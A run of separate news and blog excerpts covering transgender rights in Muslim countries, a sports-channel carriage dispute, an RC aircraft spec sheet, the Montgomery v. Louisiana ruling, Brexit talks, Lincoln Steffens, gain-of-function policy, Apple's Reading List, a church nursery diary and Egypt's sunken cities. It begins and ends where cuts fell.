unless it states specifically in the Qur’an that an act is a sin.”  As homosexuality is a crime in Iran, many LGB individuals find that sex reassignment surgeries are their only option. tweet  He goes on by stating the following: “Why is adultery one of the seven deadly sins? Because it specifically says so in the Qur’an. Because it does not specifically state that sex change is a sin, therefore, we cannot call it a sin.”  Some Pakistani Muslim clerics recognize transgender rights  Earlier this year, 50 Pakistani Muslim clerics declared a fatwa stating that transgenders may legally marry. Although this is not through the government or through any political organization, the group of clerics called Tanzeem Ittehad-i-Ummat has over tens of thousands of followers throughout the country.  There are drawbacks however. To qualify one must be fully male or fully female and possess an ID that states their gender. Many are calling on the Pakistani government to include a transgender option on their national ID.  Parveen, who is a transgender activist, stated, “I want to marry a male transgender, but to register a marriage I need a national identity card with mention of my gender, which is not available.” She went on to state, “I was kicked out from my family in my childhood. Now authorities are asking for my father’s card number for my ID, but my family refuse to even see my face.”  The group of clerics also called for an end of discrimination against transgender members of the society, especially after the attacks earlier this year against the community.  When people speak up against the discrimination and fight for the rights of the marginalized members of their society, that is when progress occurs. There is still a long way to go for equal rights, but these three countries have taken their first step in the right direction. Protecting and respecting our neighbors and those around us is a part of Islam that should be practiced.
-You may have noticed that there were commercials during Wizards and Capitals games on Comcast SportsNet Mid Atlantic last weekend telling Dish Network subscribers to call the network and tell them not to remove the channel from the lineup. If you were wondering when this started, Capitals play-by-play announcer Joe Beninati announced it Thursday during their 3-2 win over the Colorado Avalanche.  The commercials, and play-by-play announcers' messages about the issue are part of a marketing campaign by the channel to get fans to voice their displeasure to Dish, and ensure that there is no interrupted coverage. According to Multichannel News, Dish Network's current contract with CSN Mid Atlantic expires on December 2, which is next Tuesday.  As you might have guessed, the reason why these commercials are going on is because of a stall in negotiations between NBC Sports Group (CSN's parent), and Dish Network, which currently airs the CSN affiliates for the Mid Atlantic (the channel we watch in the D.C. area), Chicago, Bay Area, and California (Sacramento area) regions. In short, NBC Sports Group wants to get paid fairly by Dish Network for the regional sports channels. Dish Network claims that NBC Sports Group is demanding a "20 percent price increase for more than 90 percent of Dish customers ... when only a small fraction of those consumers actually watch the channels," per the Multichannel report.  While it may not be uncommon to see cable television providers get in disputes with television channel providers, Dish Network's dispute with NBC Sports Group runs pretty deep. Dish recently let CSN New England go off its airwaves in August, and they also don't air other NBC regional networks like SNY (New York City), CSN Philadelphia, or CSN Northwest (Portland, Oregon), so Dish Network subscribers in those areas can't watch the teams that are broadcast on those networks.  I am not a Dish Network subscriber, so I will still get my Wizards and Capitals games aired on my television set after December 2. But I hope that this dispute gets resolved soon, because many sports fans who have Dish Network could be in the dark if this does follow through.  If you are a Dish Network subscriber and wish to get your voice heard, call 1-844-I-WANT-CSN, or click here to get to CSN's special site.
-It is Skywalker’s latest masterpiece that acts as long-rang cruise professional aerial survey aircraft.  WALL-E 2000 has three active canopy hatches that made of translucent frosted sheet. It is not only have beautiful appearance, but also very convenient and practical. The inner space of cabin adopts lamination processing that increases one times of available area on the condition that original volume are the same. Electric accessories can be placed and fixed well in this inner space.  It is equipped with strong double front engines that can control aerial vehicle flexibly. Through a large number of optimization design and repeated flying testing, it can complete high quality flying, aerial shots and aerial mission in complex environment with real-time dynamic control system on the fuselage.  Specifications:  Motor: 2815KV 650*2pcs  Wing span: 2030mm  Propeller: (9*6/10*6 )*2pcs  Fuselage length: 1120mm  Servo: 12g*4pcs  Wing area: 48dm^2  Flying weight: 2500g-3000g  Battery: 4S 10000-16000mah  C.G.: 80-85mm behind the leading edge  Takeoff: Hand cast, catapult shot  Landing: Parachute landing  Air speed: 60-80km/h  Maximum of flying time: 60-120min  Maximum of flight level: 6000m  http://www.fpvmodel.com/skywalker-wall-e2000-2030mm-wingspan-fpv-rc-airplane_g1192.html
-ON THE NIGHT before the U.S. Supreme Court issued its ruling Monday in Montgomery v. Louisiana, giving new hope for release to prisoners serving life without parole for crimes they committed as juveniles, Sister Alison McCrary received a collect call from the Louisiana State Penitentiary, better known as Angola. It came from a man she had met during her 10 years visiting the prison as a spiritual adviser to those on death row. Nicknamed “Reverend Joe,” he did not face execution, but like most of Angola’s residents, nonetheless confronted the prospect of dying in prison.  “He usually calls me wanting to talk about scripture,” McCrary told me over the phone from New Orleans. “He’ll want to make sure he’s got the right interpretation.” But on Sunday night, he was calling because he was anxious. Convicted of murder in Shreveport in the early 1960s, Reverend Joe was one of hundreds of Louisiana prisoners anxiously awaiting the decision in Montgomery, which would determine whether an earlier Supreme Court ban on mandatory life without parole for juveniles should apply retroactively to people like him. In 2012, in Miller v. Alabama, the justices had declared such sentences unconstitutional for people who committed their crimes when they were younger than 18. But Louisiana, among other states, refused to apply the ruling to people already behind bars. A different Angola prisoner, Henry Montgomery, appealed his sentence all the way to the Supreme Court. Following oral arguments held last fall, it would be up to the justices to tell Louisiana whether or not it was breaking the law by forcing people like Montgomery and Reverend Joe to keep serving a sentence the Court had previously declared unconstitutional.  When he called McCrary, Reverend Joe had no idea that the Court would be ruling the very next day. Nor were his hopes vested solely in Montgomery — he was seeking other avenues to challenge his sentence. But if the justices were to rule in his favor, McCrary said, “that’s when he would know for sure” he had a shot at release. After a life spent in prison, for the first time Reverend Joe could catch a glimpse of freedom. And it scared him.  “Reverend Joe is well-respected at Angola,” McCrary explained. “He has community there.” Now in his 70s, he is active in the prison’s many religious activities and he works as a trustee, bringing food to death row visitors like McCrary. Outside the prison gates, however, he knows almost no one. While he has family in Louisiana and Texas, McCrary believes he has not been in touch with them for 50 years.  In addition to the obvious challenges of finding a home or a job, the question of health care will be serious and immediate for a man his age. For McCrary, who along with a community of activists in New Orleans took in Louisiana exoneree Glenn Ford after his release in 2014, caring for him before he died of cancer last June, the challenges that accompany the victory in Montgomery are familiar.  “Folks are really celebrating now,” she said on Monday, “but there’s also lots of concern.” For those who get out after decades behind bars, “What’s it going to be like in the free world?”  SUCH A QUESTION might feel premature to those who followed the long road to Montgomery. After all, it took three-and-a-half years and much litigation for the Supreme Court to force the states to apply Miller retroactively. Even now, the Montgomery ruling is no guarantee for release. “Today’s decision simply provides an opportunity for review,” Mark Plaisance, the Louisiana attorney who argued the case before the Court last fall, reminded reporters on Monday. The ruling is “just the first step in a long process for Mr. Montgomery.”  At 69, Henry Montgomery does not have the luxury of time. Yet he is among the lucky ones — at least he has representation. For other prisoners, finding a lawyer to challenge their continued incarceration is the first in a daunting series of hurdles. According to McCrary, word at Angola is that local attorneys will soon be visiting the prison to instruct “offender counsel substitutes” — jailhouse lawyers — on how to begin filing petitions on behalf of fellow inmates. But juvenile lifers must also wait for the state to decide on the legal venue for such a challenge. Then, ultimately, they must convince the state’s chosen decision-makers that they are worthy of early release.  From state to state, the question of who will make these decisions is still up in the air. After Miller, several states simply abolished juvenile life without parole, restoring parole eligibility or imposing lesser determinate sentences on those already imprisoned. Other states opted for resentencing hearings, putting individual prisoners’ fates in the hands of a judge. For those recalcitrant states that refused to do either, Justice Kennedy sought to provide reassurance in Montgomery that the 6-3 ruling “does not require States to relitigate sentences, let alone convictions, in every case where a juvenile offender received mandatory life without parole.” Instead, he suggested, writing for the majority, states can give a chance for such prisoners “to be considered for parole.”  In New Orleans, the Louisiana Center for Children’s Rights was quick to embrace this suggestion. The state “has a choice to make,” the legal nonprofit explained on its website following Monday’s ruling. It can offer prisoners “costly, lengthy, substantive hearings” to the tune of $3 million to fund the first year of defense attorneys alone, according to an estimate by the Louisiana Public Defender Board. Or it can grant juvenile lifers some shot at release by allowing them to go before a parole board — an option the group’s director argues saves money, preserves public safety (“by ensuring that nobody is released without review”), and is “fairer for victims, because it will mean that they do not have to go through the difficulties of a new court hearing.”  For lifers in Louisiana, the prospect of going before a parole board is practically unthinkable — a dream come true. Unlike in other states that retain as a sentencing option life with the possibility of parole, until very recently, all life sentences in Louisiana were death-in-prison sentences. This has begun to change: In 2012, following a campaign by the American Civil Liberties Union and others, Gov. Bobby Jindal signed legislation to grant parole eligibility to lifers convicted of certain nonviolent crimes.  Still, as in most states, winning parole in Louisiana is exceedingly difficult. Last summer, following a thorough review of the state of parole across the country, the Marshall Project found parole boards nationwide to be secretive, driven by politics, and “vested with almost unlimited discretion to make decisions on almost any basis. Hearsay, rumor and instinct are all fair game.”  Louisiana is no exception — although modest reforms have recently sought to make parole decisions more informed and less arbitrary. Nevertheless, the odds are stacked against prisoners. Both prosecutors and crime victims play a role in parole hearings, and eligible prisoners do not even meet with board members in person, but rather by videoconference. And, perhaps most importantly, decisions often come down to “the nature of the crime” rather than any proof of rehabilitation — the one thing a prisoner cannot change, even if he or she has.  Yet, such a venue is still a better option than what Louisiana lifers have relied upon to date: seeking mercy in a state so famous for its high incarceration rate it has been dubbed the prison capital of the world. Among those who did not live to see the ruling in Montgomery this week was a man named Robert Howard, sent to Angola as a teenager in 1967, and known to many for his writing and counseling to youth. A Facebook page created by one of his supporters tracks years of denied clemency requests dating back to the 1970s. Some years, board members recommended commutations only to see them denied by the governor. Most recently, in March 2015, Gov. Jindal denied a unanimous clemency request for Howard by the Board of Pardons and Parole. Soon after that, Howard was diagnosed with liver cancer. In August, he died at the prison hospice at Angola.  AS LAWYERS AND SCHOLARS continue to parse the ruling in Montgomery, the broader implications are yet to be seen. For now, although it continues to chip away at the harshest sentences for youth, with Montgomery, the Supreme Court has decided once more to preserve the option of juvenile life without parole, meaning that defendants will continue to be sent to die behind bars for crimes they committed as children. There is good reason to think such sentences will be rare — existing data after Miller shows a large drop in new sentences of life without parole for juvenile crimes across the country. And some legal experts have interpreted Montgomery to mean that a prosecutor pursuing such a punishment will now have to somehow “prove to a judge that a particular youth is beyond saving as a reformed person” — a dubious proposition that should be burdensome in theory.  Yet, it is not hard to imagine that in such cases, the “nature of the crime” will continue to have the final say. After all, even as it seeks to narrow life without parole sentences for youth offenders, Montgomery keeps intact the same assumption that set the stage for them in the first place. “Miller drew a line between children whose crimes reflect transient immaturity and those rare children whose crimes reflect irreparable corruption,” Kennedy wrote in Montgomery. It remains possible that a court “might encounter the rare juvenile offender who exhibits such irretrievable depravity that rehabilitation is impossible and life without parole is justified.”  It was this image of irredeemably bad youth — applied along starkly racist lines — that created the superpredator myth, fueling the very sentences states are now being forced to reconsider. After all, while it may be easy to accept that, as an old man, Henry Montgomery is not the same person he was in 1963, it is difficult to imagine such sober perspective governing the fate of a 17-year-old who today committed the same crime — the fatal shooting of a police officer. These are the very crimes for which mandatory sentencing was invented — and for which parole will be routinely denied.  It is this enduring idea — that a crime tells us everything we need to know about the person who committed it — that must be overcome, by parole boards, by judges, and by the legions of people who now claim the broader mantle of criminal justice reform. The Supreme Court has taken another important step in recognizing that people in prison can change. It is up to the states to give juvenile lifers a meaningful chance to go home — before prison becomes the only home they know.  Top photo: Orleans Parish Prison in New Orleans currently houses about 23 juvenile boys. Photo from juvenile-in-justic.com.
-Media playback is unsupported on your device Media caption Brexit: Theresa May says agreement is "important step" on the road to Brexit  EU leaders have agreed to move Brexit talks on to the second phase but called for "further clarity" from the UK about the future relationship it wants.  The first issue to be discussed, early next year, will be the details of an expected two-year transition period after the UK's exit in March 2019.  Talks on trade and security co-operation are set to follow in March.  Theresa May hailed an "important step" on the road but Germany's Angela Merkel said it would get "even tougher".  Donald Tusk, the president of the European Council, broke the news that the 27 EU leaders were happy to move on to phase two after they met in Brussels.  He congratulated Mrs May on reaching this stage and said the EU would begin internal preparations for the next phase right now as well as "exploratory contacts with the UK to get more clarity on their vision".  While securing a deal in time for the UK's exit in March 2019 was realistic, he suggested that the next phase would be "more challenging and more demanding".  Mrs May said the two sides would begin discussions on future relations straight away and hoped for "rapid progress" on a transitional phase to "give certainty" to business.  "This is an important step on the road to delivering the smooth and orderly Brexit that people voted for in June 2016," she said.  "The UK and EU have shown what can be achieved with commitment and perseverance on both sides."  Labour's international trade spokesman, Barry Gardiner, welcomed the move forward, but said it would be a "real problem" for business if the EU didn't start talking trade for a further three months.  He also said his party would not put a time limit on a post-Brexit transition phase, as the expected two-year period would be "extremely tight".  Image copyright Reuters Image caption Emmanuel Macron and Angela Merkel held a joint news conference at the end of the summit  The EU has published its guidelines for phase two of the negotiations, with discussions on future economic co-operation not likely to begin until March.  The three-page document says the UK will remain under the jurisdiction of the European Court of Justice and be required to permit freedom of movement during any transition period.  And agreements on the Irish border, the so-called divorce bill and the rights of EU and UK citizens, agreed by Mrs May last Friday, must be "respected in full and translated faithfully into legal terms as quickly as possible".  The document says: "As the UK will continue to participate in the customs union and the single market during the transition, it will have to continue to comply with EU trade policy."  While the EU is willing to engage in "preliminary and preparatory discussions" on trade as part of building a "close partnership" after the UK's departure, this means any formal agreement "can only be finalised and concluded once the UK has become a third country".  Phew for PM  Image copyright Reuters  By the BBC's political editor Laura Kuenssberg  After the six months she has had, Theresa May might be entitled to breathe a sigh of relief, as the European Council officially declared that the first phase of our long goodbye from the European Union is over.  Stand back from the daily dramas and perhaps it was always bound to happen.  Both sides are committed to getting an agreement.  The EU and the UK both want a deal to be done, and while there has, inevitably, been grumpiness on both sides, they have, in the main, dealt with each other in good faith.  The document "calls on the UK to provide further clarity on its position on the framework for the future relationship".  But in a passage added during the past week, it invites the EU's Brexit negotiator Michel Barnier to "continue internal preparatory discussions" on future relations rather than having to wait until March to do so.  Another rebellion headed off?  Image copyright House of Commons Image caption Tory rebels defeated the government on Wednesday  Sources have told the BBC that the government is highly likely to accept an amendment to the EU Withdrawal Bill next week to see off another potential Commons defeat for Theresa May.  Conservative rebels have been concerned about plans to put the Brexit date and time - 11pm on 29 March 2019 - into law.  Backbenchers, including former minister Oliver Letwin, have tabled an amendment, suggesting a change to the legislation.  Ministers are likely to accept their plan, which is a change that some of the potential rebels have been asking for, the BBC understands.  Senior sources are confident they can see off a defeat, after No 10 said there were no plans to take the date out of the bill.  Responding to the reports, Shadow Brexit secretary Sir Keir Starmer wrote on Twitter: "After a car-crash defeat on Brexit vote, rumours that PM will now U-turn on gimmick exit day amendment: forced to get a Tory MP to amend her own amendment before its put to the vote!"  European Commission President Jean-Claude Juncker said the EU's initial priority was to "formalise the agreement" that had already been reached before moving forward, adding "the second phase will be significantly harder and the first was very difficult".  Praising Mrs May as a "tough, smart and polite" negotiator, he said he was "entirely convinced" that the final agreement reached would be approved by the UK and European Parliaments.  Giving his response, French President Emmanuel Macron said that in moving forward the EU had maintained its unity, protected the integrity of the single market and ensured "compliance with our own rules".  Mrs May is set to discuss her vision of the "end state" for the UK outside the EU at a cabinet meeting on Tuesday, having suffered her first Commons Brexit defeat earlier this week.
-Voters are in a bad mood. Again. We are routinely (and justifiably) frustrated with our politicians, but “throwing the bums out” doesn’t seem to change much. And we are all bracing for another anger-pageant that will stomp through American life for the next 13 months until election day.  A forgotten moment in our history suggests that the way out of a bad political mood is not more rage, but a new political perspective. Around 1900, after years of anger at “vulgar” politicians, a young journalist pushed voters to resist the impulse “to go out with the crowd and ‘smash something.’”  It was too easy, the muckraker Lincoln Steffens began to argue, to believe that bad politicians were just immoral people. Instead he asked his massive readership to look at the structure rather than the individual, to think about the warped systems that enabled political corruption, and to consider the ways angry voters inadvertently encouraged behavior they condemned.  Steffens was the perfect man for the job. The young writer had bounced from California to Europe to Manhattan, driven by wanderlust, contrarianism and a preference for the sleazy over the respectable. He honed his scorching prose, and learned about New York’s “low-life,” as a crime reporter in rough-and-tumble Manhattan in the 1890s. There was something feisty about Steffens. Over his long career, he was often wrong, sometimes a sucker, but rarely a coward. One politico called him “a born crook that’s gone straight.”  Like many Americans, Steffens grew up cursing his leaders. Between 1865 and 1900, frustrated citizens pointed to the never-ending string of political scandals and stolen elections, as leaders failed to address the massive traumas of the Gilded Age. Citizens often looked down on the parties, like the wealthy young man who wrote that all politicians were a “shifty-eyed lot, dribbling tobacco juice, badly dressed, never prosperous and self-respecting…a degraded caste.”  Attacking leaders was an easy route to becoming one. Self-impressed tycoons, high-toned editors and rising politicians “greedy for power” all insisted that they knew how to clean up politics. Replace bad, immoral men with “the best men”—wealthy, God-fearing, respectable—and the democracy would fix itself. And by “the best men,” they meant themselves.  Again and again, angry voters tried this approach, throwing the bums out in election after election. In major cities, “reformers” applied the same formula, winning the mayor’s office periodically, but falling out of power just as quickly. And control of Congress changed hands with dizzying speed in the 1880s and 1890s, yet politics only grew more corrupt.  But as a crime reporter who befriended crooked cops and scheming politicos, Steffens stumbled onto a new approach to journalism. Instead of moralizing, he listened. People would talk, he found, if you let them. Steffens hung around police stations and pool halls, absorbing everything he could. He even tolerated the ceaseless lectures of a young police commissioner named Teddy Roosevelt (though Steffens devised ways to shut his new friend up). And he refused to sit, isolated, in New York, setting out across the country to study dirty tricks from Boston to San Francisco.  Steffens introduced American readers to corrupt bosses who make today’s most obnoxious candidates look timid. He befriended characters with nicknames like “Hinky Dink” and “Bathhouse John.” Taciturn party thugs opened up to Steffens, analyzing their best tricks like fans of the same sport. By humanizing election-buyers, union-busters, accused murderers, and confirmed murderers, he helped explain why America’s leadership problem persisted.  Steffens came away with two major insights. Bad politicians were not necessarily bad people, and society, as a whole, encouraged their sins.  He learned the most from Israel Durham, boss of the Philadelphia political machine, an organization so rotten that Ben Franklin and George Washington’s names often showed up on voting rolls. (People in Philly joked: “The founders voted here once, and they vote here yet.”)  But Steffens liked Iz’ Durham. He concluded that Durham was not a bad man, but merely a successful man, trapped at the head of a system beyond his control. Durham was certainly guilty of tremendous crimes, but society kept rewarding him for them. Among other things, Durham explained that regular campaign donations, coming from upstanding citizens, did more to buy influence than any illegal kickback. Such contributions, the boss shouted, were “worse than bribes!”  Conversations with Durham and other bosses led Steffens to conclude that the angry public was focused on the wrong problem. Political dirty tricks were not “exceptional, local, and criminal…not an accidental consequence of the wickedness of bad men, but the impersonal effect of natural causes.” Americans—obsessed with individualism—liked to rage against immoral men, but really it was big, impersonal structures—like the steady drip of campaign contributions—that did more to buy power and harm the democracy.  Steffens began to write, furiously, publishing his “dawning theory” in his famous “Shame of the Cities” series in McClure’s Magazine between 1901 and 1904. Politicians were not a special caste of wicked men; they were no more immoral than bribing businessmen or lazy cops or short-sighted voters. Often, angry middle-class citizens, looking for someone to blame, perpetuated the pointless cycle of reform and relapse, throwing out individuals but failing to make real change.  Their outrage at the “bad men” in government was really just a “thought-saver of the educated who think that they think,” Steffens declared, a way to avoid considering the deeper problems with their political system.  Steffens was the most articulate voice of the new burst of reform remaking American democracy after 1900. American voters began to see that the country’s political problems were, really, social problems. Instead of hollering about immoral bosses, reformers simply went around them, introducing primary elections, ballot initiatives, recall votes, and eventually the direct election of senators. Progressive activists focused on improving political structures, not what they labeled electoral “lynchings” of the bad guys.  Some clever bosses jumped on the bandwagon. Tammany Hall cleverly recast itself as a reform organization. But this was fine; it meant that voters were rewarding reform over corruption. By 1910, journalist William Allen White imagined the sleaziest bosses of the 19th century observing the new, cleaner elections, “cackling in derision until they were black in the face” at neutered politicians forced to play by the fairer rules.  These changes marked the greatest moment of political reform, not sparked by a major crisis like a war or depression, in American history.  In our own era of intense skepticism towards the media, it’s important to remember how much we owe muckrakers like Steffens. And in our time of anger at politicians, it’s important to consider where bad leaders come from. Those today who call politicians “losers” are no better than phony Gilded Age moralists, who condemned the “bad men” in Washington while trying to join them. Their rhetoric turns every campaign into a contest that rewards anger, providing a smokescreen behind which elites masquerade as outsiders.  And it confuses the issue: politicians are, as a group, no better or worse than the rest of us. If they stink, something’s rotten with the system that feeds them.  Yet anger at our leaders is the political cliché of our day. As long as we see politics as a war between good and bad individuals, ignoring the structures that reward or punish them, this will continue. America’s stalled democracy is not our leaders’ fault alone, but ours as well, for treating all political problems as personnel problems.
-The government Tuesday lifted a three-year moratorium on funding for research into ways that certain viruses can be made more virulent and transmissible, announcing a new plan for assessing applications to study these and other dangerous pathogens.  The new policy for pathogens capable of creating a pandemic will allow researchers who want to study them to apply for funding through the new process outlined by the Department of Health and Human Services.  The end of the moratorium applies to research on the SARS, MERS, influenza and other dangerous viruses. The October 2014 pause was put in place after researchers in Wisconsin and the Netherlands sparked a debate by announcing in 2011 that they had made the deadly H5N1 bird flu virus more contagious in ferrets, which are used as a model for how disease might spread among humans. This kind of research is known as "gain of function" because it introduces new abilities into existing germs.  Shortly before the ban, the Centers for Disease Control and Prevention acknowledged that lab workers had been exposed to anthrax and that a lethal avian flu virus had been sent to a lab that had asked for a less deadly strain.  In a briefing for reporters Monday, Francis Collins, director of the National Institutes of Health, the main government funder for biological research, estimated that only a "handful" of facilities would qualify to conduct this kind of research, which is generally aimed at understanding how viruses mutate and developing vaccines.  "This kind of research can only be conducted in a very few places that have the highest level of containment," Collins said.  Collins also disclosed that during the moratorium, 10 of the 21 research efforts that had been stopped obtained waivers to resume their work. Those waivers applied to five MERS and five flu experiments, he said.  With the new policy in place, the government is able to lift the moratorium, Collins said. The new policy for "potential pandemic pathogens" would apply to the three viruses and others that researchers may want to investigate, such as Ebola. New requirements include that the potential risks of the research be justified by the potential benefits; that there is no other feasible way to answer the same question that poses less risk; and that the proposed experiment be reviewed by an independent expert panel.  "This is a way of regularizing a rigorous process that we really want to make sure we are doing right," Collins said.  Other pathogens are covered under the government's policy for Dual Use Research of Concern, which covers life sciences research that, if misused, might threaten public health, national security and the environment.  Beth Cameron, vice president for global biological policy and programs at the nonprofit Nuclear Threat Initiative, called having a plan in place "a step in the right direction." But she emphasized that safety would still depend largely on strong security measures at each lab to protect against an accidental release and govern who is allowed to work on the experiments.  Mitigating risk requires "knowing what you're doing, why you're doing it, what the benefits of the research are," she said. "And it means understanding the risk to the public while you're doing it."  Still, Cameron said, the United States now becomes what she thinks may be the only nation in the world with such a plan, which highlights the need for international discussion of this issue.  She said she is concerned about the "increased ability to use tools in order to create viruses and bacteria that can evade countermeasures."  Andrew C. Weber, a former assistant secretary of defense for nuclear, chemical and biological defense programs during the Obama administration, said the new criteria are strict enough that "it is difficult to imagine any research proposal that would meet these sensible criteria." He says the new policy should make it difficult to get approval for gain-of-function research. "The risks to the public of deliberately enhancing pandemic pathogens are too grave to justify the modest potential benefits."  Read more:  Decades old smallpox vials found in NIH storage room  About 75 CDC scientists exposed to anthrax  CDC chief admits mishandling of anthrax, other pathogens
-Sherlock (sher·lock): -verb (used with object): 1. to create an in-house product that clearly and obviously seems to replace a product created by a third party for that platform, thereby destroying that third party's ecosystem.  E.g., Apple totally Sherlocked Instapaper on Monday by introducing Reading List.  During the 2011 WWDC keynote, Instapaper developer Marco Arment appeared to be sure that he had just been stomped on by Apple's decision to integrate a new Instapaper-like feature, Reading List, into Safari for Lion and iOS 5. And he's not the only one by far—there are plenty of small- and big-name indie developers whose products seemingly became unnecessary thanks to Apple, which did not pay them for the privilege of using their ideas.  But after taking a few days to mull it over, Arment's attitude sounds like a complete reversal of that apocalyptic tweet that he sent during the keynote. "The more I think about it, the more optimistic I am," Arment told Ars. "I keep playing back the scenarios of what might happen here; I try to be rational and not emotional about it. The two most likely outcomes are that nothing changes or my sales go up."  "I think the tech press loves to use the word 'kill,' but it's very short sighted," he continued. "From my perspective, Apple could take 99.7 percent of the market and I could take 0.3 percent of the market, which would double my market share."  Arment wrote a blog post to this effect immediately following the keynote on Monday in order to quell the fears of his developer peers, who were loudly concerned for his livelihood. But according to Arment, Apple is actually doing him a favor: "Before, my competitor was ignorance of this problem of how to save articles to read later or elsewhere." Now, he believes a huge swath of users who were not previously aware of Instapaper will be exposed to Apple's Reading List feature, and some of them may eventually begin searching for more full-featured alternatives. That's where Instapaper will come in, and Arment will hopefully profit.  Arment isn't the only one who feels this way either. Chairman and CEO of The Omni Group, Ken Case, also expressed optimism at Apple's decision to roll out a task management feature called Reminders in iOS 5, strikingly similar to many of OmniFocus' own task management capabilities—right down to the location associations.  "I'm really glad to see Apple setting a good baseline for what task management ought to be on the iPhone," Case told Ars. "It's great that Apple is educating people and is validating what we've already done."  Just speaking with Arment and Case, it's clear that they (now, if not earlier) are quite confident that their products can stand on their own and will continue to be successful, regardless of Apple's new features.  "I don't think much differentiation is needed when it comes to OmniFocus. Apple's Reminders aren't really something you can organize into any sort of dependent relationships or actions that are blocked by other actions, or an outline hierarchy, or add attachments," Case said, listing out the many features that come as part of OmniFocus. "We don't have to differentiate so much as make sure we're not at all deficient. One way where we're deficient is having those geofences, which we are working on now."  Arment agreed. "As far as I can tell there's no offline storage in Apple's Reading List function, which Instapaper has. Reading List is just a bookmark folder with special rendering. In fact, I don't think anybody really needs to be worried about Apple stepping on them with features of this sort," Arment said. "I'm confident there's enough of a market in alternatives in general."  He went on: "If you look at categories of apps, Apple has provided a Notes app since the very beginning, before the App Store. It's good for well over 99 percent of iPhone owners, yet this is a category that is doing very well in the App Store. Even the people who make shitty ones don't have to worry. People use alternative products for lots of reasons; we're talking about a huge market."  Still, both developers agreed that they can't rest on their laurels just because Apple hasn't yet added all of their features to Reminders and Reading List. "You can't just assume Apple won't do anything. It's important to not rely on feature differentiation alone," Arment said. The two—and undoubtedly plenty of other developers—have already begun working on what's next. Case said that he and the Omni team were already full-speed ahead on OmniFocus 2 for the Mac and were looking forward to bringing some of their lessons from the iPad back to the desktop, while Arment showed Ars a preview of the next major release of Instapaper for iPad, which looks promising.  "What it comes down to is this: I need Apple to advance themselves, or else they won't stay competitive in their own market. I am somewhat dependent upon their success," Arment said. "If they step on me a little in the process, that's the risk I took by developing for the platform. They're giving me new APIs to make my own product better, so it works out for me."
-Today at church was somewhat unsatisfying for several reasons, most of which I will not go into.Sandwiched between Frustrating Forum and Missed Meeting was about an hour and a half as a nursery volunteer. I once told the Director of Religious Education that I had "totsophobia," because while I do not dislike children at all, I feel very awkward around them. The only kid I ever felt completely at ease with was my own. Those years went by much too quickly and did absolutely nothing to help me relax around anyone else's kids. The problem has nothing whatsoever to do with the fear that a child will hurt me, it's the fear that I will fail in some way to properly care for someone else's little one. The responsibility scares the daylights out of me. I will never hold anyone's baby, at least if the baby is too young to crawl. For one thing, I've never gotten the hang of that casual manner that most mothers seem to instinctively know when it comes to holding a baby. I always held my son something like the way I hold my cat -- with his little head tucked right up under my chin. He never seemed to mind it, but it must look really strange. And of course, I worry that I will drop the baby.But -- I'm all too aware of a chronic problem in our church: People don't volunteer, especially with kids' classes. This generally shocks me: I figure 1) I'm the only person in the church who would rather not be around kids and 2) not only does everyone else like to interact with kids, the parentsnothing better. Well, it turns out that the parents want to do something adult-oriented for an hour or two on Sunday, which is not the least bit unreasonable. The problem is, the non-parents want the same thing. Which means, in short, that it takes very little to leave the kids high and dry when someone isn't making sure that the classes are adequately staffed. So today I was asked to help out in the nursery.Today's nursery census was the regular nanny, five little folks, and me. I knew three of the kids well, since I work fairly closely with their parents. The smallest came last, spent a few minutes crying after Daddy left her with us, but then settled down and did the usual things that a child with a pacifier is wont to do. The last child, a boy, was slightly older than the rest, probably about the age of starting kindergarten in the fall.Margaret, the nursery nanny, hails from the same neighborhood as the iconic umbrella-bearing lady pictured above. Her ethnicity and her occupation are where the similarities end. Within five minutes, I heard her assessment of the children. She liked the girls and little Henry, the toddler boy, but did not like the older boy, Richard. "He's an only child," she said, in a disapproving tone, "so he doesn't know anything about playing with others or sharing." I didn't especially appreciate that -- as an only child myself, I remember quite vividly how teachers often characterized me as spoiled and selfish with little more to go on than my non-sibling status. Margaret either ignored Richard or confined the conversation to words such as "No," or "Stop." When she used his name, it was never followed by anything especially good. Richard did seem to prefer independent play, though he showed me the pretend breakfast he'd put together, and let me listen to his heart with a toy stethoscope.Toward the end of the session, little Henry climbed on a low stepstool and Richard decided to remove him by seizing him around the waist. Both boys went down in a heap, with Henry uninjured but making a significant racket. This seemed to confirm Margaret's opinion of Richard. While she ran to comfort Henry, she instructed me to take Richard and "put him in time-out." But Richard was every bit as upset as Henry, if not more so. He cried and wailed and his hands fluttered like little wings, so instead of putting him in time-out, I patted his shoulders, told him I knew he felt bad, but that Henry was all right. He calmed down just before his mother (and Henry's) arrived.After everyone had left, Margaret gave me the sign-in book and told me to log my hours. "What time did you arrive?" she asked. I told her eleven o'clock, since I'd been in the discussion forum from 9:30 until just before 11:00. "Put down 10:30," she said "and they'll pay you for two hours." I didn't argue, just signed my name and was done with it. I have no expectation of being paid -- I'm a volunteer -- but she knew perfectly well I didn't work two full hours. Her willingness to fudge on time, even though she probably thought she was doing me a favor, added to my overall negative impression of her.The realization that I could, perhaps, do as good a job as a paid nursery nanny, if not a better one, came as something of a shock. It's given me a fresh perspective on the whole issue of childcare, both in our modest-sized church and everywhere else.
-(CNN) — Until 1996, two of Egypt's greatest cities were missing. Then along came French archeologist Franck Goddio, who made an extraordinary discovery underwater.  For 1,000 years, Thonis-Heracleion was completely submerged. Fish made their homes among the rubble of mighty temples; hieroglyphs gathered algae. Gods and kings sat in stasis, powerless, their statues slowly withdrawing from the world, one inch of sand at a time. Goddio spent years surveying this find, as well as neighboring Canopus, which was rediscovered by a British RAF pilot in 1933 who noticed ruins leading into the waters.  Thanks to a new exhibition at the British Museum, Goddio's incredible finds will soon be open to the public.  Sunken Cities: Egypt's Lost Worlds opens May 19, and according to museum curator, Aurelia Masson-Berghoff, the exhibition pulls back the curtain on what was once one of archeology's greatest mysteries.  "(Thonis-Heracleion and Canopus) were known from Greek mythology, Greek historians and Egyptian decrees, and now we know where they were."  Objects discovered in the Mediterranean Sea are helping archaeologists uncover the history of two Egyptian lost cities.  Related content Did ancient Egypt suffer from climate change?  Why did they sink?  Likely founded in the 7th century BC, Thonis-Heracleion and Canopus acted as major trade hubs between ancient Egypt, Greece and the wider Mediterranean, located as they were at a handy intersection. But circumstances ultimately conspired against them, explains Masson-Berghoff.  "Several natural phenomenon caused these cities to sink by a maximum of (32 feet) below the sea," she says, noting that a naturally rising sea level, subsidence and earthquakes (which ultimately triggered tidal waves) all played a hand.  Revealing excavations in the north of Egypt show how Greeks and Egyptians lived together thousands of years ago.  Gods of yester-millennium  Masson-Berghoff explains they also learned a lot from the form taken by the religious statues dug up from their watery grave. The statues were mainly of 